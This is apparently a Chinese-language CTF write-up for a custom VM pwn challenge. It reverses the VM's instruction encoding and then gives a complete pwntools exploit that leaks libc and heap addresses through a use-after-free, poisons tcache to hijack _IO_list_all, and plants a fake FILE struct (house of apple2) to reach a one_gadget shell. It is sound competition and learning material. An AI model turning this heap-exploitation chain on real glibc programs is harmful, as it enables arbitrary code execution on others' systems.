没看WP逆了5-6个小时搞明白了,也算是进步了一点(其实还是很菜),算上写脚本总共7-8小时,虽然比赛只有五个小时,但是初赛这难度也是没谁了,但是还是进了线下😊,希望线下打好一点吧。
开头先mmap了三个区域,都只有读写权限

在read_data函数中读取了vmcode和vmdata的文件数据分别到vmcode和eip区域中

传进来的是vmdata,但是可以看到应该是一个结构体,后面可以分析出
struct{
DWORD *vmdata;
DWORD *eip;
QWORD reg[6];
DWORD *buf;
};

开头是长度,后面的是VMcode

接着将该结构体传入run函数,malloc一个区域用于存放opcode初始化后进入get_code

get_code函数将首字节code&3后放入a2[1],根据&3后的值选择取指令方式(三种类型的指令)

如果&3后等于3则取首字节后两个字节以DWORD(int)的形式存放在opcode中,可以写成
if v3==3{
int opcode[3];
opcode[0]=*eip++
HIHGBYTE2(opcode[0])=opcode[0]&3;
opcode[1]=*eip++;
opcode[2]=*eip;
eip+=8;
}

vmcode开头的0F 00 01 00 00 00 00 00 00 00中0F&3正好等于3,所有可以得到opcode的排布为
opcode dw 30F,0,1

取指令结束后会根据opcode首字节&3来选择func0-3(根据取指令方式来选择对应的vm_func)

进入func3,根据opcode首字节>>2执行对应指令

0xF>>2等于3

因为var1=1,var2=0,故会放入1号寄存器,因为a1是vmdata,vmdata+8才是eip,eip+8才开始到寄存器部分,故会向a2对应寄存器的存入var2。
0F 00 01 00 00 00 00 00 00 00
0F 01 00 00 00 0000 00 00 00
0F 02 1B 00 00 00 00 00 00 00
上述三个会向0,1,2寄存器存入0x01,0x00,0x1B,由此可以推断上述寄存器的类型是QWORD。

D4 00 00 01和上述一样,不过取值方式有变化D4&3==0,进入0分支,拿后续三字节相与放入opcode,即
0|0|1==1

进入func0的这个分支,将1,reg[0], data+reg[1], reg[2]传入vtable即(1,1,vmdata,0x1B)

vtable内以a1选取执行函数,1正好是write(1,vmdata,0x1B),正好输出vmdata文件的内容

总结如下,可以模仿上述写出以下函数load用于向reg存放数据,invoke_func根据第三个字节选取执行函数
def load(reg,data):
return bytes.fromhex(hex((0x0f<<72)|(reg<<64)|int.from_bytes(p64(data))).replace("0x","").rjust(20,"0"))
def invoke_func(index):
return bytes.fromhex(hex(0xD4<<24|0x0<<16|0x0<<8|index).replace("0x",""))
def invoke_func_2(index):
return bytes.fromhex(hex(0xCC<<24|0x0<<16|0x0<<8|index).replace("0x",""))
def malloc(size):
return load(0, size)+invoke_func_2(3)
def read_vmdata(size):
a = load(0, 1)
a += load(1, 0)
a += load(2, 0x1b)
a += invoke_func(1)
a += load(0, 0)
a += load(1, 0)
a += load(2, size)
a += invoke_func(0)
return a
在vtable中存在UAF并且可以编辑heap还有exit,直接走house of cat或者house of apple2即可

先malloc三个堆
p.recvuntil(b"opcodes:")
payload=load(1,0x200)
payload+=load(0,0x600)
payload+=invoke_func(3)
payload+=load(0,0x200)
payload+=invoke_func(3)
payload+=load(0,0x200)
payload+=invoke_func_2(3)
再全部free
payload+=load(0,0)
payload+=invoke_func(4)
payload+=load(0,1)
payload+=invoke_func(4)
payload+=load(0,2)
payload+=invoke_func(4)
执行heap_to_data输出即可得到main_arena+88,劫持tcache要key顺便泄露一个heap地址
payload+=load(0,0)
payload+=load(1,0)
payload+=load(2,0x8)
payload+=invoke_func_2(6)
payload+=load(0,1)
payload+=load(1,8)
payload+=load(2,0x8)
payload+=invoke_func_2(6)
payload+=load(0,1)
payload+=load(1,0)
payload+=load(2,0x10)
payload+=invoke_func(1)
在尾部加上vmcode的数据重置eip和获得再次输入的机会
payload+=bytes.fromhex("0F0001000000000000000F0100000000000000000F021B00000000000000D4000001C0000000810081012B0100020000000000001200000F020003000000000000CC000000A501")
p.send(payload)
base=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x21ace0
print(hex(base))
p.recvuntil(b"\x00\x00")
key=u64(p.recv(5).ljust(8,b"\x00"))
print(hex(key))
heap_base=key<<12
print(hex(heap_base))
_IO_list_all=base+libc.sym["_IO_list_all"]
_IO_wfile_jumps=base+libc.sym["_IO_wfile_jumps"]
重置payload并输入_IO_list_all^key
payload=read_vmdata(8)
#edit chunk-->_IO_list_all
payload+=load(0,2)
payload+=load(1,0)
payload+=load(2,0x8)
payload+=invoke_func_2(5)
payload+=load(0,0x200)
payload+=invoke_func_2(3)#3
payload+=load(0,0x200)
payload+=invoke_func_2(3) #4 chunk----->_IO_list_all
伪造IO结构体和获取og
one=[0xebc81,0xebc85,0xebc88,0xebce2,0xebd38,0xebd3f,0xebd43]
fake_IO_struct=b""
fake_IO_struct=fake_IO_struct.ljust(0x18,b"\x00")
fake_IO_struct+=p64(1)
fake_IO_struct=fake_IO_struct.ljust(0x58,b"\x00")
fake_IO_struct+=p64(base+one[0])
fake_IO_struct=fake_IO_struct.ljust(0x90,b"\x00")
fake_IO_struct+=p64(heap_base+0x2b0)
fake_IO_struct=fake_IO_struct.ljust(0xc8,b"\x00")
fake_IO_struct+=p64(_IO_wfile_jumps)
fake_IO_struct=fake_IO_struct.ljust(0xd0,b"\x00")
fake_IO_struct+=p64(heap_base+0x2b0)
改变_IO_list_all为可控堆地址,并输入伪造结构体的数据
payload+=read_vmdata(len(fake_IO_struct))
payload+=load(0,0)
payload+=load(1,0)
payload+=load(2,len(fake_IO_struct))
payload+=invoke_func_2(5)
payload+=load(0,0)
payload+=load(1,0)
payload+=load(2,0)
payload+=read_vmdata(8)
payload+=load(0,4)
payload+=load(1,0)
payload+=load(2,0x8)
payload+=invoke_func_2(5)
完整exp
from pwn import *
from pwn import p64,p32,u64,u32
from struct import pack
context(os="linux",log_level="debug")
import os,base64
from LibcSearcher import *
filename="./vm"
os.system(f'chmod 777 ./{filename}')
elf=ELF(filename)
context.arch=elf.arch
debug=1
if debug:
p=process(filename)
#gdb.attach(p, "b *$rebase(0x185A)")
else:
p=remote("node5.anna.nssctf.cn" , 26783)
libc=ELF("./libc.so.6")
def load(reg,data):
return bytes.fromhex(hex((0x0f<<72)|(reg<<64)|int.from_bytes(p64(data))).replace("0x","").rjust(20,"0"))
def invoke_func(index):
return bytes.fromhex(hex(0xD4<<24|0x0<<16|0x0<<8|index).replace("0x",""))
def invoke_func_2(index):
return bytes.fromhex(hex(0xCC<<24|0x0<<16|0x0<<8|index).replace("0x",""))
def malloc(size):
return load(0, size)+invoke_func_2(3)
def read_vmdata(size):
a = load(0, 1)
a += load(1, 0)
a += load(2, 0x1b)
a += invoke_func(1)
a += load(0, 0)
a += load(1, 0)
a += load(2, size)
a += invoke_func(0)
return a
p.recvuntil(b"opcodes:")
payload=load(1,0x200)
payload+=load(0,0x600)
payload+=invoke_func(3)
payload+=load(0,0x200)
payload+=invoke_func(3)
payload+=load(0,0x200)
payload+=invoke_func_2(3)
#del chunk
payload+=load(0,0)
payload+=invoke_func(4)
payload+=load(0,1)
payload+=invoke_func(4)
payload+=load(0,2)
payload+=invoke_func(4)
payload+=load(0,0)
payload+=load(1,0)
payload+=load(2,0x8)
payload+=invoke_func_2(6)
payload+=load(0,1)
payload+=load(1,8)
payload+=load(2,0x8)
payload+=invoke_func_2(6)
payload+=load(0,1)
payload+=load(1,0)
payload+=load(2,0x10)
payload+=invoke_func(1)
payload+=bytes.fromhex("0F0001000000000000000F0100000000000000000F021B00000000000000D4000001C0000000810081012B0100020000000000001200000F020003000000000000CC000000A501")
p.send(payload)
base=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x21ace0
print(hex(base))
p.recvuntil(b"\x00\x00")
key=u64(p.recv(5).ljust(8,b"\x00"))
print(hex(key))
heap_base=key<<12
print(hex(heap_base))
_IO_list_all=base+libc.sym["_IO_list_all"]
_IO_wfile_jumps=base+libc.sym["_IO_wfile_jumps"]
payload=read_vmdata(8)
#edit chunk-->_IO_list_all
payload+=load(0,2)
payload+=load(1,0)
payload+=load(2,0x8)
payload+=invoke_func_2(5)
payload+=load(0,0x200)
payload+=invoke_func_2(3)#3
payload+=load(0,0x200)
payload+=invoke_func_2(3)#4 _IO_list_all
payload+=read_vmdata(8)
payload+=load(0,4)
payload+=load(1,0)
payload+=load(2,0x8)
payload+=invoke_func_2(5)
one=[0xebc81,0xebc85,0xebc88,0xebce2,0xebd38,0xebd3f,0xebd43]
fake_IO_struct=b""
fake_IO_struct=fake_IO_struct.ljust(0x18,b"\x00")
fake_IO_struct+=p64(1)
fake_IO_struct=fake_IO_struct.ljust(0x58,b"\x00")
fake_IO_struct+=p64(base+one[0])
fake_IO_struct=fake_IO_struct.ljust(0x90,b"\x00")
fake_IO_struct+=p64(heap_base+0x2b0)
fake_IO_struct=fake_IO_struct.ljust(0xc8,b"\x00")
fake_IO_struct+=p64(_IO_wfile_jumps)
fake_IO_struct=fake_IO_struct.ljust(0xd0,b"\x00")
fake_IO_struct+=p64(heap_base+0x2b0)
payload+=read_vmdata(len(fake_IO_struct))
payload+=load(0,0)
payload+=load(1,0)
payload+=load(2,len(fake_IO_struct))
payload+=invoke_func_2(5)
payload+=load(0,0)
payload+=load(1,0)
payload+=load(2,0)
payload+=invoke_func_2(2)
p.recvuntil(b"opcodes:")
#gdb.attach(p, "b _IO_wfile_overflow")
p.send(payload)
p.recvuntil(b"opcodes:")
p.send(p64(_IO_list_all^key))
p.recvuntil(b"opcodes:")
p.send(p64(heap_base+0x2b0))
p.recvuntil(b"opcodes:")
p.send(fake_IO_struct)
p.interactive()
Comments NOTHING